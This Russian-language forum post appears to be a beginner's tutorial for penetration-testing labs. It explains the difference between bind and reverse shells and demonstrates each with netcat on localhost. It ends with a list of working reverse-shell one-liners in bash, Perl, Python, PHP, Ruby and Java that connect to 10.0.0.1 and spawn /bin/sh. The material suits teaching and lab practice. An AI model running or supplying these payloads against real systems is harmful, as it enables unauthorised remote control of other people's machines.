Приветствую Вас колеги. Сегодня появилась необходимость написать небольшой мануал для новичков в котором я попытаюсь донести в чем же таки разница между REVERSE и BIND шеллом и какие самые распространенные способы его получить существуют.
Это в первую очередь нужно мне для того что бы можно было ссылаться на этот мануал
в своих статьях,и чаще всего я буду упоминать этот мануал при прохождении дальнейших тасков в лаборатории тестирования на проникновения.
Итак.Для начала давайте попытаемся понять что такое SHELL?
Ну если не кормить вас линками на википедию и всякие умные высказывания - то на простом человеческом языке,SHELL - это оболочка консоли (в Windows это командная строка "cmd.exe") а (в Linux это терминал "bash,sh,zsh ... ") Ну а всякий раз когда вы слышите или видите такие страшные слова как REVERSE SHELL или BIND SHELL - это имеется ввиду что вы имеете доступ к удаленной (чужой) консоли,и отличаются они в первую очередь способом получения этого SHELL-а.
Так вот... Прежде всего любое TCP соединение представляет из себя клиент-серверное общение между компьютерами.В любом случаи какой то компьютер подключается к другому компьютеру,и тот компьютер к которому подключаются выступает в роли сервера.Это как ходить в гости)))) Вот тот кто принимает гостей -это у нас сервер,а тот кто ходит в гости - это у нас клиент)
Тут я думаю вроде более мение понятно)
А дальше все еще намного проще)
REVERSE SHELL - удаленная консоль ,когда мы выступаем в роли серверной части и вызываем коннект на себя. То есть это когда мы встречаем гостей у себя дома)И когда гости приходят - мы получаем доступ к их консоли.
BIND SHELL - удаленная консоль, когда в роли серверной части выступает удаленная машина,То есть это когда мы пришли в гости и получили доступ к чужой консоли.
Что же мы все на словах да на словах? Давайте перейдем к практике:
Использовать для демонстрации я буду утилиту NetCat (nc),которая по дефолту установлена на большинстве линукс машинах, и имеет в себе большой и нужный функционал(сканирование портов,передача файлов,удаленный шелл),а так же демонстрировать буду на локалхосте (127.0.0.1) .
Для начала давайте реализуем BIND shell: для этого на удаленной машине выполним команду
Код:
nc -e /bin/bash -nvlp 1337
-n -- numeric-only (использовать только айпи адреса,не использовать dns имена)
-v -- более подробный вывод
-l -- listen-mode (режим слушателя ,который предназначен для входящих соединений)
-p -- порт на котором мы будем слушать
Таким образом мы с помощью утилиты неткат подняли мини серверную часть ,которая ждет входящие соединение на 1337 порту,и после того как туда придет соединение отдаст интерактивную консоль bash интерпритатора(терминала линукс).Если по простому то мы ждем гостей на 1337 порту ,и кто к нам первый придет - тому и пряник в виде шелла.
Так.Слушателя подняли.Теперь же логично что нам нужно подключится(сходить в гости) что бы получить шелл.
Для этого на другой машине мы выполним команду:
Код:
nc 127.0.0.1 1337
1337 -- это порт на котором нас ждут)))
Вообщем думаю понятно? Сходили втупую в гости на 1337 порт и получили пряник в виде шела)))
На скрине ниже справа - серверная часть,слева-клиентская.
Когда же применяется BIND SHELL ???
А актуален он тогда когда входящие соединения не блокируются сетевыми фаерволами и айпи адрес удаленной машины виден и доступен с любого сегмента сети.(К примеру веб сервер на котором размещен сайт всегда имеет выделенный айпи адрес,и мы можем к нему подключиться находясь в глубоком нате)
Теперь давайте про:
REVERSE SHELL
Бывают ,как вы все уже догадались, ситуации когда входящие соединения блокируются фаервовали.
Тогда на помощь к нам приходит REVERSE (от англ - обратный) SHELL
который совсем противоположный BIND SHELL-у, но реализуется он так же легко как и BIND. Единственно отличие - это то что серверную часть мы поднимаем у себя и вынуждаем удаленную машину подключатся к нам,но при подключении отдать нас свою консоль. ( Это как прийти к нам в гости со своим пряником в виде шелла)
Для этого все го лишь нужно поднять у себя листенер (слушатель|серверную часть) на каком нибудь порту:
Код:
nc -nvlp 1337
Код:
nc -e /bin/bash 127.0.0.1 1337
127.0.0.1 - это наш айпи адрес
1337 -- это порт который мы слушаем у себя.
Когда же применяется REVERSE SHELL ??
А применяется ,как уже думаю догадались, когда входящие соединения блокируются и когда наш айпишник доступен для конекта(Это когда мы с удаленной машиной находимся в одном сегменте сети|скоупе, или когда у нас есть белый IP адрес)
Вот примерно на этом принципе строятся все REVERSE и BIND tcp соединения.
Но бывают ситуации когда NetCat не установлен в системе.В таких ситуация удаленный шелл (Remote Shell) можно вызвать стандартными средствами.
C помощью BASH:
Код:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
C помощью PERL:
Код:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
C помощью Python:
Код:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
C помощью PHP:
Код:
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
C помощью Ruby:
Код:
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
C помощью Java:
Код:
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Более подробно про варианты реализации удаленного шелла стандартными средствами можете почитать
Ссылка скрыта от гостей
и
Ссылка скрыта от гостей